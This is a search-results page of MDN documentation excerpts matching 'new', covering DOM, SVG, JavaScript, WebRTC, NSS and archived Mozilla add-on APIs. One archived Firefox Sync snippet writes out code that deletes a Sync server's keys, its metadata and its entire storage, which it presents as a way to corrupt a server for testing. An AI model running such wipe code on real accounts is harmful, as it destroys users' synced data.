...so you need to be sure to use the load event so you don't try this before the image has loaded: var img = new image(); // create new img element img.addeventlistener('load', function() { // execute drawimage statements here }, false); img.src = 'myimage.png'; // set source path if you're only using one external image this can be a good approach, but once you need to track more than one we need to resort to something more clever.
...And 7 more matches
DOMImplementation.createHTMLDocument() - Web APIs
the domimplementation.createhtmldocument() method creates a new html document.
... syntax const newdoc = document.implementation.createhtmldocument(title) parameters title optional (except in ie) a domstring containing the title to give the new html document.
... example this example creates a new html document and inserts it into an <iframe> in the current document.
...And 7 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
inserting elements with appendchild(..) so, by calling myp.appendchild(node_element), you are making the element a new child of the second <p> element.
...the second node is a new node of type text_node, and it is the second child of the second <p> tag.
... creating new elements with the document object and the createelement(..) method you can create new html elements or any other element you want with createelement.
...And 7 more matches
History.pushState() - Web APIs
WebAPIHistorypushState
syntax history.pushstate(state, title[, url]) parameters state the state object is a javascript object which is associated with the new history entry created by pushstate().
... whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object.
... url optional the new history entry's url is given by this parameter.
...And 7 more matches
SVGLengthList - Web APIs
note: starting in gecko 5.0,the svglengthlist dom interface is now indexable and can be accessed like arrays interface overview also implement none methods void clear() svglength initialize(in svglength newitem) svglength getitem(in unsigned long index) svglength insertitembefore(in svglength newitem, in unsigned long index) svglength replaceitem(in svglength newitem, in unsigned long index) svglength removeitem(in unsigned long index) svglength appenditem(in svglength newitem) properties readonly unsigned long numberofitems readonly unsigned long...
... initialize(in svglength newitem) svglength clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter.
... insertitembefore(in svglength newitem, in unsigned long index) svglength inserts a new item into the list at the specified position.
...And 7 more matches
SVGNumberList - Web APIs
interface overview also implement none methods void clear() svgnumber initialize(in svgnumber newitem) svgnumber getitem(in unsigned long index) svgnumber insertitembefore(in svgnumber newitem, in unsigned long index) svgnumber replaceitem(in svgnumber newitem, in unsigned long index) svgnumber removeitem(in unsigned long index) svgnumber appenditem(in svgnumber newitem) properties readonly unsigned long numberofitems readonly unsi...
... initialize(in svgnumber newitem) svgnumber clears all existing current items from the list and re-initializes the list to hold the single item specified by newitem.
... insertitembefore(in svgnumber newitem, in unsigned long index) svgnumber inserts a new item into the list at the specified position.
...And 7 more matches
SVGPathSegList - Web APIs
interface overview also implement none methods void clear() svgpathseg initialize(in svgpathseg newitem) svgpathseg getitem(in unsigned long index) svgpathseg insertitembefore(in svgpathseg newitem, in unsigned long index) svgpathseg replaceitem(in svgpathseg newitem, in unsigned long index) svgpathseg removeitem(in unsigned long index) svgpathseg appenditem(in svgpathseg newitem) properties readonly unsigned long num...
... initialize(in svgpathseg newitem) svgpathseg clears all existing current items from the list and re-initializes the list to hold the single item specified by newitem.
... insertitembefore(in svgpathseg newitem, in unsigned long index) svgpathseg inserts a new item into the list at the specified position.
...And 7 more matches
SVGPointList - Web APIs
interface overview also implement none methods void clear() svgpoint initialize(in svgpoint newitem) svgpoint getitem(in unsigned long index) svgpoint insertitembefore(in svgpoint newitem, in unsigned long index) svgpoint replaceitem(in svgpoint newitem, in unsigned long index) svgpoint removeitem(in unsigned long index) svgpoint appenditem(in svgpoint newitem) properties ...
... initialize(in svgpoint newitem) svgpoint clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter.
... insertitembefore(in svgpoint newitem, in unsigned long index) svgpoint inserts a new item into the list at the specified position.
...And 7 more matches
SVGStringList - Web APIs
interface overview also implement none methods void clear() domstring initialize(in domstring newitem) domstring getitem(in unsigned long index) domstring insertitembefore(in domstring newitem, in unsigned long index) domstring replaceitem(in domstring newitem, in unsigned long index) domstring removeitem(in unsigned long index) domstring appenditem(in domstring newitem) properties readonly unsigned long numberofitems readonly unsigned long length ...
... initialize(in domstring newitem) domstring clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter.
... insertitembefore(in domstring newitem, in unsigned long index) domstring inserts a new item into the list at the specified position.
...And 7 more matches
Using server-sent events - Web APIs
receiving events from the server the server-sent event api is contained in the eventsource interface; to open a connection to the server to begin receiving events from it, create a new eventsource object with the url of a script that generates the events.
... for example: const evtsource = new eventsource("ssedemo.php"); if the event generator script is hosted on a different origin, a new eventsource object should be created with both the url and an options dictionary.
... for example, assuming the client script is on example.com: const evtsource = new eventsource("//api.example.com/ssedemo.php", { withcredentials: true } ); once you've instantiated your event source, you can begin listening for messages from the server by attaching a handler for the message event: evtsource.onmessage = function(event) { const newelement = document.createelement("li"); const eventlist = document.getelementbyid("list"); newelement.innerhtml = "message: " + event.data; eventlist.appendchild(newelement); } this code listens for incoming messages (that is, notices from the server that do not have an event field on them) and appends the message text to a list in the document's html.
...And 7 more matches
SubtleCrypto.wrapKey() - Web APIs
*/ function getkeymaterial() { const password = window.prompt("enter your password"); const enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* given some key material and some random salt derive an aes-kw key using pbkdf2.
...*/ async function wrapcryptokey(keytowrap) { // get the key encryption key const keymaterial = await getkeymaterial(); salt = window.crypto.getrandomvalues(new uint8array(16)); const wrappingkey = await getkey(keymaterial, salt); return window.crypto.subtle.wrapkey( "raw", keytowrap, wrappingkey, "aes-kw" ); } /* generate an encrypt/decrypt secret key, then wrap it.
...*/ function getkeymaterial() { const password = window.prompt("enter your password"); const enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* given some key material and some random salt derive an aes-gcm key using pbkdf2.
...And 7 more matches
Using DTMF with WebRTC - Web APIs
function connectanddial() { callerpc = new rtcpeerconnection(); hasaddtrack = (callerpc.addtrack !== undefined); callerpc.onicecandidate = handlecallericeevent; callerpc.onnegotiationneeded = handlecallernegotiationneeded; callerpc.oniceconnectionstatechange = handlecallericeconnectionstatechange; callerpc.onsignalingstatechange = handlecallersignalingstatechangeevent; callerpc.onicegatheringstatechange = handlecallergatheri...
...ngstatechangeevent; receiverpc = new rtcpeerconnection(); receiverpc.onicecandidate = handlereceivericeevent; if (hasaddtrack) { receiverpc.ontrack = handlereceivertrackevent; } else { receiverpc.onaddstream = handlereceiveraddstreamevent; } navigator.mediadevices.getusermedia(mediaconstraints) .then(gotstream) .catch(err => log(err.message)); } after creating the rtcpeerconnection for the caller (callerpc), we look to see if it has an addtrack() method.
...this variable will let the example operate even on browsers not yet implementing the newer addtrack() method; we'll do so by falling back to the older addstream() method.
...And 7 more matches
Privileged features - Web APIs
if minimizable is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable.
... dependent if on, the new window is said to be dependent of its parent window.
... modal if on, the new window is said to be modal.
...And 7 more matches
Setting up adaptive streaming media sources - Developer guides
the good news is that once we have encoded our media in the appropriate format we are pretty good to go.
... once encoded your file structure may look something like this: play list -> /segments/news.mp4.mpd main segment folder -> /segments/main/ 100 kbps segment folder -> /segments/main/news100 contains (1.m4s, 2.m4s, 3.m4s ...
... ) 200 kbps segment folder -> /segments/main/news200 contains (1.m4s, 2.m4s, 3.m4s ...
...And 7 more matches
Text formatting - JavaScript
'\u00a9' // "©" unicode code point escapes new in ecmascript 2015.
... const foo = new string('foo'); // creates a string object console.log(foo); // displays: [string: 'foo'] typeof foo; // returns 'object' you can call any of the methods of the string object on a string literal value—javascript automatically converts the string literal to a temporary string object, calls the method, then discards the temporary string object.
...for example: const firststring = '2 + 2'; // creates a string literal value const secondstring = new string('2 + 2'); // creates a string object eval(firststring); // returns the number 4 eval(secondstring); // returns the string "2 + 2" a string object has one property, length, that indicates the number of utf-16 code units in the string.
...And 7 more matches
Classes - JavaScript
you first need to declare your class and then access it, otherwise code like the following will throw a referenceerror: const p = new rectangle(); // referenceerror class rectangle {} class expressions a class expression is another way to define a class.
... class rectangle { constructor(height, width) { this.height = height; this.width = width; } // getter get area() { return this.calcarea(); } // method calcarea() { return this.height * this.width; } } const square = new rectangle(10, 10); console.log(square.area); // 100 static methods the static keyword defines a static method for a class.
... class point { constructor(x, y) { this.x = x; this.y = y; } static distance(a, b) { const dx = a.x - b.x; const dy = a.y - b.y; return math.hypot(dx, dy); } } const p1 = new point(5, 5); const p2 = new point(10, 10); p1.distance; //undefined p2.distance; //undefined console.log(point.distance(p1, p2)); // 7.0710678118654755 binding this with prototype and static methods when a static or prototype method is called without a value for this, such as by assigning a variable to the method and then calling it, the this value will be undefined inside the method.
...And 7 more matches
Set - JavaScript
constructor set() creates a new set object.
... iteration methods set.prototype[@@iterator]() returns a new iterator object that yields the values for each element in the set object in insertion order.
... set.prototype.keys() returns a new iterator object that yields the values for each element in the set object in insertion order.
...And 7 more matches
ui/button/action - Archive of obsolete content
: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onclick: function(state) { console.log("button '" + state.label + "' was clicked"); } }); by default, the button appears in the firefox toolbar: however, users can move it to the firefox menu panel using the toolbar customization feature: badged buttons new in firefox 36.
... badge number or string new in firefox 36.
... badgecolor css <color> value new in firefox 36.
...And 6 more matches
Updating addons broken by private browsing changes - Archive of obsolete content
more, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing private-browsing-cancel-vote private-browsing-change-granted private-browsing-transition-complete then your addon will require updating to correctly support the new per-window private browser feature in firefox 20 (and will require updating to work correctly in releases of firefox since the ones listed).
... idls nsitransferable: see using the clipboard for information about the new init method.
... nsiwebbrowserpersist: saveuri gained a new argument; see the nsiwebbrowserpersist docs for more information.
...And 6 more matches
Code snippets - Archive of obsolete content
mainwindow.gbrowser.addtab(url); } } partially corrupt a server components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); function deletepath(path) { let resource = new resource(weave.service.storageurl + path); resource.setheader("x-confirm-delete", "1"); return resource.delete(); } // delete meta/global: deletepath("meta/global"); // delete keys: deletepath("crypto/keys"); // delete server: deletepath(""); corrupt a single engine on the server let engine = "bookmarks"; components.utils.import("resource://services-sync/main.js"); components.utils.import...
...("resource://services-sync/resource.js"); components.utils.import("resource://services-sync/util.js"); let r = new resource(weave.service.storageurl + "meta/global"); let g = r.get(); let envelope = json.parse(g); let payload = json.parse(envelope.payload); payload.engines[engine].syncid = weave.utils.makeguid(); // or any other guid you like.
...envelope.payload = json.stringify(payload); r.put(json.stringify(envelope)); generate new keys // clients always wipe the server when they generate new keys.
...And 6 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
as personal connectivity expands from the desktop computer to new web-enabled products and devices, gecko is a browser engine that has been designed from the ground up to power a new generation of desktop browsers and browsing devices and to accelerate the growth and development of the next-generation internet.
...by meeting the needs of developers and companies who are working to provide consumers with new interactive applications, solutions and services, gecko will become a key catalyst for new growth and innovation and for delivering anytime, anywhere access to millions of new users.
...open source and freely available, gecko is small in size and modular and achieves rendering speed superior to all other browser engines - which makes it perfect for embedding into both desktop applications such as browsers and new devices such as browsing appliances and set top boxes.
...And 6 more matches
tabs - Archive of obsolete content
ArchiveMozillaXULtabs
attributes closebutton, disableclose, disabled, onclosetab, onnewtab, onselect, setfocus, selectedindex, tabbox, tabindex, tooltiptextnew, value, properties accessibletype, disabled, itemcount, selectedindex, selecteditem, tabindex, value, methods advanceselectedtab, appenditem, getindexofitem, getitematindex, insertitemat, removeitemat examples (example needed) attributes closebutton obsolete since gecko 1.9.2 type: boolean ...
... if this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends.
...you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
...And 6 more matches
Archive of obsolete content
material in this archived content zone should not be used for building new web sites or apps for modern browsers.
... an interview with douglas bowman of wired news one of the web's oldest news sites, wired news draws between 20 and 25 million page views every month.
... on october 11, 2002, wired launched a brand-new site design that uses validating xhtml for its structure and a small collection of css files for its layout.
...And 6 more matches
Implementing controls using the Gamepad API - Game development
the first one is fired when the browser detects the connection of a new gamepad while the second one is fired when a gamepad is disconnected (either physically by the user or due to inactivity.) in the demo, the gamepadapi object is used to store everything related to the api: var gamepadapi = { controller: {}, turbo: false, connect: function() {}, disconnect: function() {}, update: function() {}, buttonpressed: function() {}, buttons: [], buttonscac...
... buttonpressed: function(button, hold) { var newpress = false; // loop through pressed buttons for(var i=0,s=gamepadapi.buttonsstatus.length; i<s; i++) { // if we found the button we're looking for...
... if(gamepadapi.buttonsstatus[i] == button) { // set the boolean variable to true newpress = true; // if we want to check the single press if(!hold) { // loop through the cached states from the previous frame for(var j=0,p=gamepadapi.buttonscache.length; j<p; j++) { // if the button was already pressed, ignore new press if(gamepadapi.buttonscache[j] == button) { newpress = false; } } } } } return newpress; }, there are two types of action to consider for a button: a single press and a hold.
...And 6 more matches
Sending forms through JavaScript - Learn web development
a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a new document when response data is received.
... let's look at an example: <button>click me!</button> and now the javascript: const btn = document.queryselector('button'); function senddata( data ) { console.log( 'sending data' ); const xhr = new xmlhttprequest(); let urlencodeddata = "", urlencodeddatapairs = [], name; // turn the data object into an array of url-encoded key/value pairs.
...fortunately, the xmlhttprequest specification provides a newer, simpler way to handle form data requests with the formdata object.
...And 6 more matches
Fetching data from the server - Learn web development
previous overview: client-side web apis next another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page.
... the trouble with this model is that whenever you want to update any part of the page, for example, to display a new set of products or load a new page, you've got to load the entire page again.
... now search for something, like a new product.
...And 6 more matches
Arrays - Learn web development
enter the following into your console: shopping[0]; // returns "bread" you can also modify an item in an array by simply giving a single array item a new value.
... some useful array methods in this section we'll look at some rather useful array-related methods that allow us to split strings into array items and vice versa, and add new items into arrays.
...first, create a string in your console: let mydata = 'manchester,london,liverpool,birmingham,leeds,carlisle'; now let's split it at each comma: let myarray = mydata.split(','); myarray; finally, try finding the length of your new array, and retrieving some items from it: myarray.length; myarray[0]; // the first item in the array myarray[1]; // the second item in the array myarray[myarray.length-1]; // the last item in the array you can also go the opposite way using the join() method.
...And 6 more matches
Ember app structure and componentization - Learn web development
planning out the layout of the todomvc app in the last article we set up a new ember project, then added and configured our css styles.
...to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out.
...update the application.hbs file again so its content looks like this: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > <section class="main"> <input id="mark-all-complete" class="toggle-all" type="checkbox"> <label for="mark-all-complete">mark all as complete</label> <ul class="todo-list"> <li> <div class="view"> <input aria-label="toggle the completion of th...
...And 6 more matches
Handling common HTML and CSS problems - Learn web development
in general, most core html and css functionality (such as basic html elements, css basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you start wanting to use newer features such as flexbox, or html5 video/audio, or even more nascent, css grids or -webkit-background-clip: text.
...you can still refer to them by their names, and style them with css, for example — you just need to make sure they are behaving as you want them to, for example setting display: block; on all of the new semantic elements (such as <article>, <aside>, etc.), but only in old versions of ie that don't recognise them (so, ie 8 and lower).
... this way new browsers can just use the code as normal, but older ie versions will be able to style these elements too.
...And 6 more matches
Strategies for carrying out testing - Learn web development
there is no way you can test on every combination of browser and device your users might use to view your site — there are just too many, and new ones appear all the time.
...of course, this relies on you already having a site to use it on, so it isn't much good for completely new sites.
... but an analytics history can be useful for finding support stats to influence say a new version of a company's site, or new features you are adding to an existing site.
...And 6 more matches
Command line crash course - Learn web development
objective: to understand what the terminal/command line is, what basic commands you should learn, and how to install new command line tools.
... have a play with them in a test directory you’ve created somewhere so that you don’t accidentally delete anything important, using the example commands below for guidance: mkdir — this creates a new directory inside the current directory you are in, with the name you provide after the command name.
... for example, mkdir my-awesome-website will make a new directory called my-awesome-website.
...And 6 more matches
IME handling guide
mranges representing dom event ecompositionstart selected string before starting composition textcomposition nullptr compositionstart ecompositionupdate new composition string textcomposition nullptr compositionupdate ecompositionend commit string textcomposition nullptr compositionend ecompositionchange new composition string widget (or textcomposition) must not be nullptr text ecompositioncommitasis n/a (must be empty) nobody nullptr none ecompositioncommit commit s...
... when this receives ecompositionchange or ecompositioncommit, this checks if new composition string (or committing string) is different from the last data stored by the textcomposition.
... when this notifies something of widget and/or ime, it needs to be safe to run script because notifying something may cause dispatching one or more dom events and/or new reflow.
...And 6 more matches
AddonManager
update_when_new_app_detected an update check performed when a new version of the application has been detected.
... update_when_new_app_installed an update check performed after a new version of the application has been installed.
... update_when_addon_installed an update check performed when a new add-on has been installed.
...And 6 more matches
AsyncTestUtils extended framework
the asynctestutils extended framework is one mechanism for testing the mailnews component of thunderbird.
... see mailnews automated testing for a description of the other testing mechanisms.
... boilerplate add the following code to the top of your test file to import everything you need: load("../../mailnews/resources/loghelper.js"); load("../../mailnews/resources/asynctestutils.js"); load("../../mailnews/resources/messagegenerator.js"); load("../../mailnews/resources/messagemodifier.js"); load("../../mailnews/resources/messageinjection.js"); if the directory where you are adding the tests does not have a head_*.js file that has the two following lines, add them at the top of your test file (before the lines shown above): load("../../mailnews/resources/maildirservice.js"); load("../../mailnews/resources/mailtestutils.js"); at the bottom of the test file, add the following: var tests =[ // list your tests here ]; function run_test() { configure_message_injection(...
...And 6 more matches
NSS 3.12.5 release_notes
nss 3.12.5 release notes 2009-12-02 newsgroup: mozilla.dev.tech.crypto introduction network security services (nss) 3.12.5 is a patch release for nss 3.12.
... new in nss 3.12.5 ssl3 & tls renegotiation vulnerability see cve-2009-3555 and us-cert vu#120541 for more information about this security vulnerability.
...this will cause programs that attempt to perform renegotiation to experience failures where they formerly experienced successes, and is necessary for them to not be vulnerable, until such time as a new safe renegotiation scheme is standardized by the ietf.
...And 6 more matches
PKCS11 FAQ
MozillaProjectsNSSPKCS11FAQ
multipart functions, such as bulk encryption, hashing, and mac functions (for example, c_digest and c_sign) and those that require overlapped operation (c_unwrap, c_decrypt) are handled by creating new sessions.
... if no new sessions are available, the one read-only session is used, and the state is saved and restored after each multipart operation.
... nss opens new read/write sessions for key generation, some password management, and storage of new certificates.
...And 6 more matches
sslerr.html
essage." ssl_error_rx_malformed_cert_verify -12254 "ssl received a malformed certificate verify handshake message." ssl_error_rx_malformed_client_key_exch -12253 "ssl received a malformed client key exchange handshake message." ssl_error_rx_malformed_finished -12252 "ssl received a malformed finished handshake message." ssl_error_rx_malformed_new_session_ticket -12178 "ssl received a malformed new session ticket handshake message." received a malformed (too long or short) ssl record: all the error codes in the following block indicate that the local socket received an improperly formatted ssl3 record from the remote peer.
... ssl_error_rx_unexpected_cert_verify -12240 "ssl received an unexpected certificate verify handshake message." ssl_error_rx_unexpected_client_key_exch -12239 "ssl received an unexpected client key exchange handshake message." ssl_error_rx_unexpected_finished -12238 "ssl received an unexpected finished handshake message." ssl_error_rx_unexpected_new_session_ticket -12179 "ssl received an unexpected new session ticket handshake message." received an ssl record that was inappropriate for the current state: all the error codes in the following block indicate that the local socket received an ssl3 record from the remote peer at a time when it was inappropriate for the peer to have sent this message.
... sec_error_retry_password -8176 new password entered incorrectly.
...And 6 more matches
NSS Tools modutil
using the security module database (modutil) newsgroup: mozilla.dev.tech.crypto the security module database tool is a command-line utility for managing pkcs #11 module information within secmod.db files or within hardware tokens.
...the options and arguments for the modutil command are defined as follows: options -create create new secmod.db, key3.db, and cert8.db files.
... -jar jar-file add a new pkcs #11 module to the database using the named jar file.
...And 6 more matches
JS_DefineFunction
added in spidermonkey 17 call jsnative the native c/c++ function to be wrapped by the new function.
... description js_definefunction exposes a c/c++ function to scripts by defining a new method on an existing javascript object.
... it creates the new function object as though by calling js_newfunction, then makes it a method of obj as though by calling js_defineproperty.
...And 6 more matches
SpiderMonkey 24
it continues to improve performance over previous spidermonkey releases, with a significantly improved garbage collector, a new jit compilation mode, and other features.
... it also contains new language and api features described in detail below.
... please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup.
...And 6 more matches
Using the Places livemark service
initiating the livemark service before using the livemark service, you need to obtain an instance: var livemarkservice = components.classes["@mozilla.org/browser/livemark-service;2"] .getservice(components.interfaces.nsilivemarkservice); creating a new livemark the nsilivemarkservice.createlivemark() method creates a new livemark.
... var newlvmkid = livemarkservice.createlivemark(parentfolderid, "livemark name", uri("http://example.com/"), uri("http://example.com/rss.xml"), -1); the first parameter is the id of the folder in which to create the livemark.
...the last argument takes in the index to insert at, or -1 to append the new livemark to the end of the folder.
...And 6 more matches
Setting up the Gecko SDK
the following four sections tell the developer how to download and organize the gecko sdk and create a new project in which components like weblock can be created.
...you may want to check for newer versions at gecko versions prior to 1.7: http://ftp.mozilla.org/pub/mozi...illa/releases/ gecko versions after 1.8: http://ftp.mozilla.org/pub/mozi...nner/releases/ once you download the sdk, you can expand it into any convenient location.
...if you choose some other location, remember to adjust the settings described here (e.g., in the building a microsoft visual cpp project section below) to point to this new location.
...And 6 more matches
imgIContainer
void frameupdated(in unsigned long framenum, in nsintrect anewrect); native code only!
... obsolete since gecko 2.0 kdisposenotspecified 0 leave frame, let new frame draw() on top.
... obsolete since gecko 2.0 kdisposekeep 1 leave frame, let new frame draw() on top.
...And 6 more matches
nsIBrowserSearchService
method overview void addengine(in astring engineurl, in long datatype, in astring iconurl, in boolean confirm, [optional] in nsisearchinstallcallback callback); void addenginewithdetails(in astring name, in astring iconurl, in astring alias, in astring description, in astring method, in astring url); void getdefaultengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); nsisearchengine getenginebyalias(in astring alias); nsisearchengine getenginebyname(in astrin...
...nal] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); void getvisibleengines([optional] out unsigned long enginecount, [retval, array, size_is(enginecount)] out nsisearchengine engines); void init([optional] in nsibrowsersearchinitobserver observer); void moveengine(in nsisearchengine engine, in long newindex); void removeengine(in nsisearchengine engine); void restoredefaultengines(); attributes attribute type description currentengine nsisearchengine the currently active search engine.
... methods addengine() adds a new search engine from the file at the supplied uri, optionally asking the user for confirmation first.
...And 6 more matches
nsIHTMLEditor
returninparagraphcreatesnewparagraph boolean a boolean indicating if a return key pressed in a paragraph creates another paragraph or just inserts a <br> at the caret.
... boolean candrag( in nsidomevent aevent ); parameters aevent return value checkselectionstateforanonymousbuttons() checks if the anonymous nodes created by the html editor have to be refreshed or hidden depending on a possible new state of the selection.
... createelementwithdefaults() return a new element with default attribute values.
...And 6 more matches
nsIXPCScriptable
obj, in jsval id, in jsvalptr vp); prbool getproperty(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in jsvalptr vp); prbool setproperty(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in jsvalptr vp); prbool enumerate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); prbool newenumerate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruint32 enum_op, in jsvalptr statep, out jsid idp); prbool newresolve(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in jsval id, in pruint32 flags, out jsobjectptr objp); prbool convert(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj, in pruin...
... constants constant value description want_precreate 1 << 0 want_create 1 << 1 want_postcreate 1 << 2 want_addproperty 1 << 3 want_delproperty 1 << 4 want_getproperty 1 << 5 want_setproperty 1 << 6 want_enumerate 1 << 7 want_newenumerate 1 << 8 indicates that the object wants to have its newenumerate method called.
... want_newresolve 1 << 9 indicates that the object wants to have its newresolve method called.
...And 6 more matches
Getting Started Guide
// given: |nsifoo* mfooptr;| /* |addref| the new value if it's not |null|; assign it in; and |release| the old value, if any (so we don't leak it).
...// given: |nscomptr<nsifoo> mfooptr;| /* this assignment automatically |release|s the old value in |mfooptr|, if any, and |addref|s the new one, in the appropriate sequence to avoid the ownership bug mentioned earlier.
... nscomptrs for non-interface classes appropriately formatted answer to come, in the meanwhile, the full details are available in this news posting (via google groups).
...And 6 more matches
XUL Overlays
MozillaTechXULOverlays
when plug-ins, browser extensions, or other applications provide new ui elements to the browser, these elements should be defined in overlay files.
... the installation of a media plug-in, for example, may add new icons and menu items to the interface: in the navigatoroverlay.xul file or in a separate navigatorsspoverlay.xul file (where navigator.xul defines the basic ui for the navigator package), these new plug-in elements would be defined as a collection of elements or subtrees: <menuitem name="super stream player"/> <menupopup name="ss favorites"> <menuitem name="wave" src="mavericks.ssp"/> <menuitem name="soccer" src="brazil_soccer.ssp"/> </menupopup> <titledbutton id="ssp" crop="right" flex="1" value="&ssbutton.label;" onclick="firessp()"/> overlays and id attributes bases and overlays are merged when they share the same id attribute.
...<menu id="file-menu"> <menupopup id="menu_filepopup"> <menuitem name="new"/> <menuitem name="open"/> <menuitem name="save"/> <menuitem name="close"/> </menupopup> </menu> ...
...And 6 more matches
nsIMsgCloudFileProvider
nsimsgcloudfileprovider is the interface that must be implemented by new filelink providers.
...in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsirequestobserver acallback); acstring providerurlforerror(in unsigned long aerror); attributes attribute type description type ...
... createnewaccount() creates a new user account for the storage provider represented by the nsimsgcloudfileprovider.
...And 6 more matches
Working with windows in chrome code
it contains tips and example code on opening new windows, finding an already opened window, and passing data between different windows.
... opening windows from a <script> in a window or an overlay to open a new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents.
...the former has been deprecated for a while, and you should use content in the new code.
...And 6 more matches
Mozilla
adding a new css property this page describes how to add a new css property to the style system.
... adding a new event this draft document covers how to add a new event to the mozilla (firefox) source code.
... adding a new word to the en-us dictionary occasionally bugs are filed pointing out situations where perfectly legitimate words are missing from the english spell check dictionary in firefox.
...And 6 more matches
Plug-in Basics - Plugins
-ins like these are now available: multimedia viewers such as adobe flash and adobe acrobat utilities that provide object embedding and compression/decompression services applications that range from personal information managers to games the range of possibilities for using plug-in technology seems boundless, as shown by the growing numbers of independent software vendors who are creating new and innovative plug-ins.
... with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
... when the user opens a page that contains embedded data of a media type that invokes a plug-in, the browser responds with the following sequence of actions: check for a plug-in with a matching mime type load the plug-in code into memory initialize the plug-in create a new instance of the plug-in gecko can load multiple instances of the same plug-in on a single page, or in several open windows at the same time.
...And 6 more matches
Examine and edit HTML - Firefox Developer Tools
the menu contains the following items — click on the links to find the description of each command in the context menu reference: edit as html create new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ...
...es show accessibility properties change pseudo-class hover active focus focus-within visited screenshot node scroll into view copy inner html outer html css selector css path xpath image data-url attribute paste inner html outer html before after as first child as last child expand all collapse all open link in new tab * open file in debugger * open file in style-editor * copy link address * * these options only appear in certain contexts, for example the "open file in style-editor" option only appears when you context-click over the top of a link to a css file.
... create new node create a new empty <div> as the last child of the currently selected element.
...And 6 more matches
FileSystemEntrySync - Web APIs
it also introduces a new url scheme: filesystem:.
... method overview metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional domstring newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional domstring newname) raises (fileexception); domstring tourl(); void remove() raises (fileexception); directoryentrysync getparent(); attributes attribute type description filesystem readonly filesystemsync the file system where...
...you can keep it in the same location and then define the newname parameter.
...And 6 more matches
HTMLTableElement.insertRow() - Web APIs
the htmltableelement.insertrow() method inserts a new row (<tr>) in a given <table>, and returns a reference to the new row.
... if a table has multiple <tbody> elements, by default, the new row is inserted into the last <tbody>.
...the row does not need to be appended separately as would be the case if document.createelement() had been used to create the new <tr> element.
...And 6 more matches
HTMLTableRowElement.insertCell() - Web APIs
the htmltablerowelement.insertcell() method inserts a new cell (<td>) into a table row (<tr>) and returns a reference to the cell.
...the cell does not need to be appended separately with node.appendchild() as would be the case if document.createelement() had been used to create the new <td> element.
... you can not use insertcell() to create a new <th> element though.
...And 6 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
there are three types of code that create a new execution context: the global context is the execution context created to run the main body of your code; that is, any code that exists outside of a javascript function.
...this is frequently referred to as a "local context." using the ill-advised eval() function also creates a new execution context.
...as one of these code segments begins execution, a new context is constructed in which to run it; that context is then destroyed when the code exits.
...And 6 more matches
Using the Notifications API - Web APIs
examples one of the most obvious use cases for web notifications is a web-based mail or irc application that needs to notify the user when a new message is received, even if the user is doing something else with another application.
...your task "' + title + '" is now overdue.'; var notification = new notification('to do list', { body: text, icon: img }); closing notifications used close() to remove a notification that is no longer relevant to the user (e.g.
... var n = new notification('my great song'); document.addeventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification.
...And 6 more matches
Using readable streams - Web APIs
